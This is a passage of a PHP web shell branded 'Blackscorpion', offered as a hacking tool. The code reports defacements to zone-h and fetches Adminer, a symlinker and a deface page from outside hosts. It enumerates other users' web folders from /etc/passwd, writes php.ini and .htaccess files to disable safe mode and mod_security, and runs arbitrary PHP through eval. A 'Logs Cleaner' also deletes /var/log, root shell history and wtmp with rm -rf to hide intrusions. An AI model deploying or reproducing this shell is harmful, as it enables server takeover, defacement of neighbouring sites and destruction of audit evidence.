  803. die("<center><b><font color =\"#FF0000\">You Must Select The Method</b></font></center>");
  804. }
  805. elseif($reason == "")
  806. {
  807. die("<center><b><font color =\"#FF0000\">You Must Select The Reason</b></font></center>");
  808. }
  809. elseif(empty($domains))
  810. {
  811. die("<center><b><font color =\"#FF0000\">You Must Enter The Sites List<font></b></center>");
  812. }
  813.  
  814.  
  815. for($i=0;$i<count($domains_list);$i++) {
  816.  
  817. if(substr($domains_list[$i], 0, 4) != "http")
  818. {
  819. $domains_list[$i] = "http://".$domains_list[$i];
  820. }
  821. $postVars=array("defacer"=>$defacer,"hackmode"=>$hackmode,"reason"=>$reason,"domain1"=>$domains_list[$i]);
  822.  
  823. $curl = curl_init();
  824. curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
  825. curl_setopt($curl,CURLOPT_URL,'http://www.zone-h.com/notify/single');
  826. curl_setopt($curl,CURLOPT_SSL_VERIFYPEER, FALSE);
  827. curl_setopt($curl,CURLOPT_TIMEOUT, 120);
  828. curl_setopt($curl,CURLOPT_POST,TRUE);
  829. curl_setopt($curl,CURLOPT_POSTFIELDS, $postVars);
  830. $a = curl_exec($curl);
  831. curl_close($curl);
  832. }
  833. echo "<pre style=\"margin-top:5px\"><br><center><font color =\"#00A220\"><b>Sending Sites To Zone-H Has Been Completed Successfully !!!</b><br><br>Visit Your --> <a target='_blank' href='http://zone-h.org/archive/notifier=".$defacer."/published=0'>Zone-h</a> <--<font></center>";
  834.  
  835. BlackscorpionFooter(); exit;
  836. }
  837.  
  838. function actionadminer(){
  839. BlackscorpionHeader();
  840. echo '<center><h1>Adminer</h1></center><center><div class=content>';
  841. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  842. function adminer($url, $isi) {
  843. $fp = fopen($isi, "w");
  844. $ch = curl_init();
  845. curl_setopt($ch, CURLOPT_URL, $url);
  846. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  847. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  848. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  849. curl_setopt($ch, CURLOPT_FILE, $fp);
  850. return curl_exec($ch);
  851. curl_close($ch);
  852. fclose($fp);
  853. ob_flush();
  854. flush();
  855. }
  856. if(file_exists('ad.php')) {
  857. echo "<center><font color=lime><a href='ad.php' target='_blank'>-> Open Adminer in New Tab <-</a></font></center>";
  858. } else {
  859. if(adminer("https://raw.githubusercontent.com/sistech711/webhackingkit/master/adminer-4.3.1.php","ad.php")) {
  860. echo "<center><font color=lime><a href='ad.php' target='_blank'>-> adminer login <-</a></font></center>";
  861. } else {
  862. echo "<center><font color=red>Failed to download Adminer</font></center>";
  863. }
  864. }
  865.  
  866. BlackscorpionFooter();
  867. }
  868.  
  869. function actionjump1ing() {
  870. BlackscorpionHeader();
  871. echo '<center><h1>Jumping Server</h1></center><center><div class=content>';
  872. if(preg_match("/hsphere/", $dir)) {
  873. $urls = explode("\r\n", $_POST['url']);
  874. if(isset($_POST['jump'])) {
  875. echo "<pre>";
  876. foreach($urls as $url) {
  877. $url = str_replace(array("http://","www."), "", strtolower($url));
  878. $etc = "/etc/passwd";
  879. $f = fopen($etc,"r");
  880. while($gets = fgets($f)) {
  881. $pecah = explode(":", $gets);
  882. $user = $pecah[0];
  883. $dir_user = "/hsphere/local/home/$user";
  884. if(is_dir($dir_user) === true) {
  885. $url_user = $dir_user."/".$url;
  886. if(is_readable($url_user)) {
  887. $i++;
  888. $jrw = "[<font color=lime>R</font>]<font color=gold>$url_user</font></a>";
  889. if(is_writable($url_user)) {
  890. $jrw = "[<font color=lime>RW</font>]<font color=gold>$url_user</font></a>";
  891. }
  892. echo $jrw."<br>";
  893. }
  894. }
  895. }
  896. }
  897. if($i == 0) {
  898. } else {
  899. echo "<br>Total ".$i." sites ".$ip;
  900. }
  901. echo "</pre>";
  902. } else {
  903. echo '<center>
  904. <form method="post">
  905. List Domains: <br>
  906. <textarea name="url" style="width: 500px; height: 250px;">';
  907. $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  908. while($getss = fgets($fp)) {
  909. echo $getss;
  910. }
  911. echo '</textarea><br>
  912. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  913. </form></center>';
  914. }
  915. } elseif(preg_match("/vhosts|vhost/", $dir)) {
  916. preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  917. $urls = explode("\r\n", $_POST['url']);
  918. if(isset($_POST['jump'])) {
  919. echo "<pre>";
  920. foreach($urls as $url) {
  921. $url = str_replace("www.", "", $url);
  922. $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  923. if(is_dir($web_vh) === true) {
  924. if(is_readable($web_vh)) {
  925. $i++;
  926. $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$web_vh.'"><input type=submit value=">>"></form></td>
  927. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
  928. if(is_writable($web_vh)) {
  929. $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$web_vh.'"><input type=submit value=">>"></form></td>
  930. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
  931. }
  932. echo $jrw."<br>";
  933. }
  934. }
  935. }
  936. if($i == 0) {
  937. } else {
  938. echo "<br>Total ".$i." Sites ".$ip;
  939. }
  940. echo "</pre>";
  941. } else {
  942. echo '<center>
  943. <form method="post">
  944. List Domains: <br>
  945. <textarea name="url" style="width: 500px; height: 250px;">';
  946. bing("ip:$ip");
  947. echo '</textarea><br>
  948. <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  949. </form></center>';
  950. }
  951. } else {
  952. echo "<pre>";
  953. $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  954. while($passwd = fgets($etc)) {
  955. if($passwd == '' || !$etc) {
  956. echo "<font color=red>Can't read /etc/passwd</font>";
  957. } else {
  958. preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  959. foreach($user_jumping[1] as $user_idx_jump) {
  960. $user_jumping_dir = "/home/$user_idx_jump/public_html";
  961. if(is_readable($user_jumping_dir)) {
  962. $i++;
  963. $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$user_jumping_dir.'"><input type=submit value=">>"></form></td>
  964. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
  965. if(is_writable($user_jumping_dir)) {
  966. $jrw = '<form onsubmit="g(null,this.c.value);return false;"><span>Directory:</span><br><input class="toolsInp" type=text name=c value="'.$user_jumping_dir.'"><input type=submit value=">>"></form></td>
  967. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;">';
  968. }
  969. echo $jrw;
  970. if(function_exists('posix_getpwuid')) {
  971. $domain_jump = file_get_contents("/etc/named.conf");
  972. if($domain_jump == '') {
  973. echo "---------------";
  974. } else {
  975. preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  976. foreach($domains_jump[1] as $dj) {
  977. $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  978. $user_jumping_url = $user_jumping_url['name'];
  979. if($user_jumping_url == $user_idx_jump) {
  980. echo " => <br><br><a href=http://$dj target=_blank>$dj</a> <br><br>";
  981.  
  982. break;
  983. }
  984. }
  985. }
  986. } else {
  987. echo "<br>";
  988. }
  989. }
  990. }
  991. }
  992. }
  993. if($i == 0) {
  994. } else {
  995. echo "<br><br>Total ".$i." Jumping Sites <br><br>".$ip;
  996. }
  997. echo "</pre>";
  998. }
  999. echo "</div>";
  1000.  
  1001. BlackscorpionFooter();
  1002. }
  1003.  
  1004. function actionsymlinkbyblackscorpion(){
  1005. BlackscorpionHeader();
  1006. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  1007. function sym($url, $isi) {
  1008. $fp = fopen($isi, "w");
  1009. $ch = curl_init();
  1010. curl_setopt($ch, CURLOPT_URL, $url);
  1011. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  1012. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  1013. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  1014. curl_setopt($ch, CURLOPT_FILE, $fp);
  1015. return curl_exec($ch);
  1016. curl_close($ch);
  1017. fclose($fp);
  1018. ob_flush();
  1019. flush();
  1020. }
  1021. if(file_exists('symlink.php')) {
  1022. echo " <iframe src=\"symlink.php\" height=\"600\" width=\"100%\"></iframe>";
  1023. } else {
  1024. if(sym("https://raw.githubusercontent.com/sistech711/symlinker/master/symlink.php","symlink.php")) {
  1025. echo " <iframe src=\"symlink.php\" height=\"600\" width=\"100%\"></iframe>";
  1026. } else {
  1027. echo "<center><font color=red>Failed to Access symlinker please upload it manually. Please Check Internet connected and file permission</font></center>";
  1028. }
  1029. }
  1030.  
  1031. BlackscorpionFooter();
  1032. }
  1033.  
  1034.  
  1035.  
  1036. function actionAbout() {
  1037. BlackscorpionHeader();
  1038. echo "
  1039. <style>
  1040. .font{
  1041. text-transform: capitalize;
  1042. text-align: center;
  1043. }
  1044. </style>
  1045. <center>
  1046. <h1>About Me</h1>";
  1047. ?>
  1048. <pre>
  1049. ____ _ _ _
  1050. | __ )| | __ _ ___| | _____ ___ ___ _ __ _ __ (_) ___ _ __
  1051. | _ \| |/ _` |/ __| |/ / __|/ __/ _ \| '__| '_ \| |/ _ \| '_ \
  1052. | |_) | | (_| | (__| <\__ \ (_| (_) | | | |_) | | (_) | | | |
  1053. |____/|_|\__,_|\___|_|\_\___/\___\___/|_| | .__/|_|\___/|_| |_|
  1054. |_|
  1055.  
  1056.  
  1057. ____ _ _ _ __
  1058. / ___| __ _| |_ __ ___ __ _ _ __ / \ _ __(_)/ _|
  1059. \___ \ / _` | | '_ ` _ \ / _` | '_ \ / _ \ | '__| | |_
  1060. ___) | (_| | | | | | | | (_| | | | | / ___ \| | | | _|
  1061. |____/ \__,_|_|_| |_| |_|\__,_|_| |_| /_/ \_\_| |_|_|
  1062.  
  1063. Tag Line: Born to Break Your Security ~ Salman Arif Khan
  1064. </pre>
  1065. <?php
  1066.  
  1067. echo "<h2><a href='https://www.google.com/search?q=Hacked by ProBros | Blackscorpion'><q>Blackscorpion </q></a></h2>
  1068. <img src='https://scontent.fisb3-1.fna.fbcdn.net/v/t31.0-8/26114364_282922625564401_5726606951952680138_o.png?_nc_cat=0&_nc_eui2=v1%3AAeGexq8pdb-rOQQnrfw8JqATyRVcjYSc8O6NOPMv3P27boKX9PPKyDG7eCXEBDEugMVoYfsZ0djtBVwoFMA7WTUK6OgIfsSlV4U3MDEtWzPgUUyqYQrZ7gqtDn_EfKy6nV0&oh=f86713eac41c7c54b11e790534c82fb7&oe=5B3B23EB' height='300' width='400' />
  1069. <div class='font'><span><q>My Name is Salman Arf Khan , Cyber Name Blackscorpion.<br>I Love to Explore Everything.<br>Break Security.<br>And Other Hacking STuff :P <br>Contact:: https://www.facebook.com/blackhat.sh <br>My Github ::::: https://www.github.com/sistech711 <br>Our Website:::<a href=\"https://www.sprotechs.com\"/>Sprotechs</a><br></span>
  1070. <span><font>Greetz ~<marquee width='80%''>Blackscorpion , Devil killer, Black Python , Owl Master , Frostbyte , SHK v3n0m , And All Muslim Hackers</marquee></span></font></span></div></center>";
  1071. BlackscorpionFooter();
  1072. }
  1073. function actionSafeMode() {
  1074. $temp='';
  1075. ob_start();
  1076. switch($_POST['p1']) {
  1077. case 1:
  1078. $temp=@tempnam($test, 'cx');
  1079. if(@copy("compress.zlib://".$_POST['p2'], $temp)){
  1080. echo @file_get_contents($temp);
  1081. unlink($temp);
  1082. } else
  1083. echo 'Sorry... Can\'t open file';
  1084. break;
  1085. case 2:
  1086. $files = glob($_POST['p2'].'*');
  1087. if( is_array($files) )
  1088. foreach ($files as $filename)
  1089. echo $filename."\n";
  1090. break;
  1091. case 3:
  1092. $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
  1093. curl_exec($ch);
  1094. break;
  1095. case 4:
  1096. ini_restore("safe_mode");
  1097. ini_restore("open_basedir");
  1098. include($_POST['p2']);
  1099. break;
  1100. case 5:
  1101. for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
  1102. $uid = @posix_getpwuid($_POST['p2']);
  1103. if ($uid)
  1104. echo join(':',$uid)."\n";
  1105. }
  1106. break;
  1107. }
  1108. $temp = ob_get_clean();
  1109. BlackscorpionHeader();
  1110. echo '<center><h1>Safe mode bypass</h1></center><center><div class=content>';
  1111. echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
  1112. if($temp)
  1113. echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
  1114. echo '</div><br>';
  1115. echo '<h1>Safe Mode</h1>';
  1116. echo '<div class="content">';
  1117. echo "<div class=header><center><h3><span>| SAFE MODE AND MOD SECURITY DISABLED AND PERL 500 INTERNAL ERROR BYPASS |</span></h3>Following php.ini and .htaccess(mod) and perl(.htaccess)[convert perl extention *.pl => *.sh ] files create in following dir<br>| ".$GLOBALS['cwd']." |<br><br />";
  1118. echo '<a href=# onclick="g(null,null,\'php.ini\',null)">| PHP.INI | </a><a href=# onclick="g(null,null,null,\'ini\')">| .htaccess(Mod) | </a><a href=# onclick="g(null,null,null,null,\'sh\')">| .htaccess(perl) | </a><form method="post"><input type=submit name=lite value=\'Litespeed\' /></center>';
  1119. if(!empty($_POST['p2']) && isset($_POST['p2']))
  1120. {
  1121. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1122. fwrite($fil,'<IfModule mod_security.c>
  1123. Sec------Engine Off
  1124. Sec------ScanPOST Off
  1125. </IfModule>');
  1126. fclose($fil);
  1127. }
  1128. if(!empty($_POST['p1'])&& isset($_POST['p1']))
  1129. {
  1130. $fil=fopen($GLOBALS['cwd']."php.ini","w");
  1131. fwrite($fil,'safe_mode=OFF
  1132. disable_functions=NONE');
  1133. fclose($fil);
  1134. }
  1135. if(!empty($_POST['p3']) && isset($_POST['p3']))
  1136. {
  1137. $fil=fopen($GLOBALS['cwd'].".htaccess","w");
  1138. fwrite($fil,'Options FollowSymLinks MultiViews Indexes ExecCGI
  1139. AddType application/x-httpd-cgi .sh
  1140. AddHandler cgi-script .pl
  1141. AddHandler cgi-script .pl');
  1142. fclose($fil);
  1143. }
  1144. if(isset($_POST['lite'])){
  1145. $iniph = '<? n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["file"]); n ini_restore("safe_mode"); n ini_restore("open_basedir"); n echo ini_get("safe_mode"); n echo ini_get("open_basedir"); n include($_GET["ss"]; n ?>';
  1146. $byph = "safe_mode = Off n disable_functions= ";
  1147. $comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
  1148. file_put_contents("php.ini",base64_decode($byph));
  1149. file_put_contents("ini.php",base64_decode($iniph));
  1150. file_put_contents(".htaccess",base64_decode($comp));
  1151. echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
  1152. echo"</center>";
  1153. }
  1154. echo "<br><br /><br /></div>";
  1155. echo '</div>';
  1156. BlackscorpionFooter();
  1157. }
  1158.  
  1159.  
  1160. function actioncleanlogs(){
  1161. BlackscorpionHeader();
  1162. echo '<center><h1>Logs Cleaner</h1></center><center><div class=content>';
  1163. echo '<br><center><b><span>Delete Logs ( For Safe )</span></b><center><br>';
  1164. echo "<table style='margin: 0 auto;'><tr valign='top'><td align='left'>";
  1165. exec("rm -rf /tmp/logs");
  1166. exec("rm -rf /root/.ksh_history");
  1167. exec("rm -rf /root/.bash_history");
  1168. exec("rm -rf /root/.bash_logout");
  1169. exec("rm -rf /usr/local/apache/logs");
  1170. exec("rm -rf /usr/local/apache/log");
  1171. exec("rm -rf /var/apache/logs");
  1172. exec("rm -rf /var/apache/log");
  1173. exec("rm -rf /var/run/utmp");
  1174. exec("rm -rf /var/logs");
  1175. exec("rm -rf /var/log");
  1176. exec("rm -rf /var/adm");
  1177. exec("rm -rf /etc/wtmp");
  1178. exec("rm -rf /etc/utmp");
  1179. exec("rm -rf $HISTFILE");
  1180. exec("rm -rf /var/log/lastlog");
  1181. exec("rm -rf /var/log/wtmp");
  1182.  
  1183. shell_exec("rm -rf /tmp/logs");
  1184. shell_exec("rm -rf /root/.ksh_history");
  1185. shell_exec("rm -rf /root/.bash_history");
  1186. shell_exec("rm -rf /root/.bash_logout");
  1187. shell_exec("rm -rf /usr/local/apache/logs");
  1188. shell_exec("rm -rf /usr/local/apache/log");
  1189. shell_exec("rm -rf /var/apache/logs");
  1190. shell_exec("rm -rf /var/apache/log");
  1191. shell_exec("rm -rf /var/run/utmp");
  1192. shell_exec("rm -rf /var/logs");
  1193. shell_exec("rm -rf /var/log");
  1194. shell_exec("rm -rf /var/adm");
  1195. shell_exec("rm -rf /etc/wtmp");
  1196. shell_exec("rm -rf /etc/utmp");
  1197. shell_exec("rm -rf $HISTFILE");
  1198. shell_exec("rm -rf /var/log/lastlog");
  1199. shell_exec("rm -rf /var/log/wtmp");
  1200.  
  1201. passthru("rm -rf /tmp/logs");
  1202. passthru("rm -rf /root/.ksh_history");
  1203. passthru("rm -rf /root/.bash_history");
  1204. passthru("rm -rf /root/.bash_logout");
  1205. passthru("rm -rf /usr/local/apache/logs");
  1206. passthru("rm -rf /usr/local/apache/log");
  1207. passthru("rm -rf /var/apache/logs");
  1208. passthru("rm -rf /var/apache/log");
  1209. passthru("rm -rf /var/run/utmp");
  1210. passthru("rm -rf /var/logs");
  1211. passthru("rm -rf /var/log");
  1212. passthru("rm -rf /var/adm");
  1213. passthru("rm -rf /etc/wtmp");
  1214. passthru("rm -rf /etc/utmp");
  1215. passthru("rm -rf $HISTFILE");
  1216. passthru("rm -rf /var/log/lastlog");
  1217. passthru("rm -rf /var/log/wtmp");
  1218.  
  1219.  
  1220. system("rm -rf /tmp/logs");
  1221. sleep(2);
  1222. echo'<br>Deleting .../tmp/logs ';
  1223. sleep(2);
  1224.  
  1225. system("rm -rf /root/.bash_history");
  1226. sleep(2);
  1227. echo'<p>Deleting .../root/.bash_history </p>';
  1228.  
  1229. system("rm -rf /root/.ksh_history");
  1230. sleep(2);
  1231. echo'<p>Deleting .../root/.ksh_history </p>';
  1232.  
  1233. system("rm -rf /root/.bash_logout");
  1234. sleep(2);
  1235. echo'<p>Deleting .../root/.bash_logout </p>';
  1236.  
  1237. system("rm -rf /usr/local/apache/logs");
  1238. sleep(2);
  1239. echo'<p>Deleting .../usr/local/apache/logs </p>';
  1240.  
  1241. system("rm -rf /usr/local/apache/log");
  1242. sleep(2);
  1243. echo'<p>Deleting .../usr/local/apache/log </p>';
  1244.  
  1245. system("rm -rf /var/apache/logs");
  1246. sleep(2);
  1247. echo'<p>Deleting .../var/apache/logs </p>';
  1248.  
  1249. system("rm -rf /var/apache/log");
  1250. sleep(2);
  1251. echo'<p>Deleting .../var/apache/log </p>';
  1252.  
  1253. system("rm -rf /var/run/utmp");
  1254. sleep(2);
  1255. echo'<p>Deleting .../var/run/utmp </p>';
  1256.  
  1257. system("rm -rf /var/logs");
  1258. sleep(2);
  1259. echo'<p>Deleting .../var/logs </p>';
  1260.  
  1261. system("rm -rf /var/log");
  1262. sleep(2);
  1263. echo'<p>Deleting .../var/log </p>';
  1264.  
  1265. system("rm -rf /var/adm");
  1266. sleep(2);
  1267. echo'<p>Deleting .../var/adm </p>';
  1268.  
  1269. system("rm -rf /etc/wtmp");
  1270. sleep(2);
  1271. echo'<p>Deleting .../etc/wtmp </p>';
  1272.  
  1273. system("rm -rf /etc/utmp");
  1274. sleep(2);
  1275. echo'<p>Deleting .../etc/utmp </p>';
  1276.  
  1277. system("rm -rf $HISTFILE");
  1278. sleep(2);
  1279. echo'<p>Deleting ...$HISTFILE </p>';
  1280.  
  1281. system("rm -rf /var/log/lastlog");
  1282. sleep(2);
  1283. echo'<p>Deleting .../var/log/lastlog </p>';
  1284.  
  1285. system("rm -rf /var/log/wtmp");
  1286. sleep(2);
  1287. echo'<p>Deleting .../var/log/wtmp </p>';
  1288.  
  1289. sleep(4);
  1290.  
  1291. echo '<br><br><p>Your Traces Has Been Successfully Deleted From the Server';
  1292. echo"</td></tr></table>";
  1293. BlackscorpionFooter();
  1294. }
  1295. function actionPhp() {
  1296. if(isset($_POST['ajax'])) {
  1297. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
  1298. ob_start();
  1299. eval($_POST['p1']);
  1300. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
  1301. echo strlen($temp), "\n", $temp;
  1302. exit;
  1303. }
  1304. if(empty($_POST['ajax']) && !empty($_POST['p1']))
  1305. BlackscorpionsetCoockie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
  1306. BlackscorpionHeader();
  1307. if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
  1308. echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
  1309. ob_start();
  1310. phpinfo();
  1311. $tmp = ob_get_clean();
  1312. $tmp = preg_replace(array (
  1313. '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
  1314. '!td, th {(.*)}!msiU',
  1315. '!<img[^>]+>!msiU',
  1316. ), array (
  1317. '',
  1318. '.e, .v, .h, .h th {$1}',
  1319. ''
  1320. ), $tmp);
  1321. echo str_replace('<h1','<h2', $tmp) .'</div><br>';
  1322. }
  1323. echo '<center><h1>Execution PHP-code</h1></center><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  1324. echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  1325. if(!empty($_POST['p1'])) {
  1326. ob_start();
  1327. eval($_POST['p1']);
  1328. echo htmlspecialchars(ob_get_clean());
  1329. }
  1330. echo '</pre></div>';
  1331. BlackscorpionFooter();
  1332. }
  1333. function actionFilesMan() {
  1334. if (!empty ($_COOKIE['f']))
  1335. $_COOKIE['f'] = @unserialize($_COOKIE['f']);
  1336.  
  1337. if(!empty($_POST['p1'])) {
  1338. switch($_POST['p1']) {
  1339. case 'uploadFile':
  1340. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  1341. echo "Can't upload!";
  1342. break;
  1343. case 'mkdir':
  1344. if(!@mkdir($_POST['p2']))
  1345. echo "Can't create!";
  1346. break;
  1347. case 'delete':
  1348. function deleteDir($path) {
  1349. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  1350. $dh = opendir($path);
  1351. while ( ($item = readdir($dh) ) !== false) {
  1352. $item = $path.$item;
  1353. if ( (basename($item) == "..") || (basename($item) == ".") )
  1354. continue;
  1355. $type = filetype($item);
  1356. if ($type == "dir")
  1357. deleteDir($item);
  1358. else
  1359. @unlink($item);
  1360. }
  1361. closedir($dh);
  1362. @rmdir($path);
  1363. }
  1364. if(is_array(@$_POST['f']))
  1365. foreach($_POST['f'] as $f) {
  1366. if($f == '..')
  1367. continue;
  1368. $f = urldecode($f);
  1369. if(is_dir($f))
  1370. deleteDir($f);
  1371. else
  1372. @unlink($f);
  1373. }
  1374. break;
  1375. case 'paste':
  1376. if($_COOKIE['act'] == 'copy') {
  1377. function copy_paste($c,$s,$d){
  1378. if(is_dir($c.$s)){
  1379. mkdir($d.$s);
  1380. $h = @opendir($c.$s);
  1381. while (($f = @readdir($h)) !== false)
  1382. if (($f != ".") and ($f != ".."))
  1383. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1384. } elseif(is_file($c.$s))
  1385. @copy($c.$s, $d.$s);
  1386. }
  1387. foreach($_COOKIE['f'] as $f)
  1388. copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
  1389. } elseif($_COOKIE['act'] == 'move') {
  1390. function move_paste($c,$s,$d){
  1391. if(is_dir($c.$s)){
  1392. mkdir($d.$s);
  1393. $h = @opendir($c.$s);
  1394. while (($f = @readdir($h)) !== false)
  1395. if (($f != ".") and ($f != ".."))
  1396. copy_paste($c.$s.'/',$f, $d.$s.'/');
  1397. } elseif(@is_file($c.$s))
  1398. @copy($c.$s, $d.$s);
  1399. }
  1400. foreach($_COOKIE['f'] as $f)
  1401. @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
  1402. } elseif($_COOKIE['act'] == 'zip') {
  1403. if(class_exists('ZipArchive')) {
  1404. $zip = new ZipArchive();
  1405. if ($zip->open($_POST['p2'], 1)) {
  1406. chdir($_COOKIE['c']);
  1407. foreach($_COOKIE['f'] as $f) {
  1408. if($f == '..')
  1409. continue;
  1410. if(@is_file($_COOKIE['c'].$f))
  1411. $zip->addFile($_COOKIE['c'].$f, $f);
  1412. elseif(@is_dir($_COOKIE['c'].$f)) {
  1413. $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
  1414. foreach ($iterator as $key=>$value) {
  1415. $zip->addFile(realpath($key), $key);
  1416. }
  1417. }
  1418. }
  1419. chdir($GLOBALS['cwd']);
  1420. $zip->close();
  1421. }
  1422. }
  1423. } elseif($_COOKIE['act'] == 'unzip') {
  1424. if(class_exists('ZipArchive')) {
  1425. $zip = new ZipArchive();
  1426. foreach($_COOKIE['f'] as $f) {
  1427. if($zip->open($_COOKIE['c'].$f)) {
  1428. $zip->extractTo($GLOBALS['cwd']);
  1429. $zip->close();
  1430. }
  1431. }
  1432. }
  1433. } elseif($_COOKIE['act'] == 'tar') {
  1434. chdir($_COOKIE['c']);
  1435. $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
  1436. BlackscorpionEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
  1437. chdir($GLOBALS['cwd']);
  1438. }
  1439. unset($_COOKIE['f']);
  1440. setcookie('f', '', time() - 3600);
  1441. break;
  1442. default:
  1443. if(!empty($_POST['p1'])) {
  1444. BlackscorpionsetCoockie('act', $_POST['p1']);
  1445. BlackscorpionsetCoockie('f', serialize(@$_POST['f']));
  1446. BlackscorpionsetCoockie('c', @$_POST['c']);
  1447. }
  1448. break;
  1449. }
  1450. }
  1451. BlackscorpionHeader();
  1452. echo '<center><h1>File manager</h1></center><div class=content><script>p1_=p2_=p3_="";</script>';
  1453. if(isset($_POST['p1']) && $_POST['p1']=='deface') {
  1454. $def = file_get_contents('http://hexinjector.cu.ma/pwd/deface.php');
  1455. file_put_contents($_POST['c'].$_POST['p2'],$def);
  1456. }
  1457. $dirContent = BlackscorpionScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
  1458. if($dirContent === false) { echo 'Can\'t open this folder!';BlackscorpionFooter(); return; }
  1459. global $sort;
  1460. $sort = array('name', 1);
  1461. if(!empty($_POST['p1'])) {
  1462. if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
  1463. $sort = array($match[1], (int)$match[2]);
  1464. }
  1465. echo "<script>
  1466. function sa() {
  1467. for(i=0;i<d.files.elements.length;i++)
  1468. if(d.files.elements[i].type == 'checkbox')
  1469. d.files.elements[i].checked = d.files.elements[0].checked;
  1470. }
  1471. </script>
  1472. <table width='100%' class='main' cellspacing='0' cellpadding='2'>
  1473. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  1474. $dirs = $files = array();
  1475. $n = count($dirContent);
  1476. for($i=0;$i<$n;$i++) {
  1477. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  1478. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  1479. $tmp = array('name' => $dirContent[$i],
  1480. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  1481. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
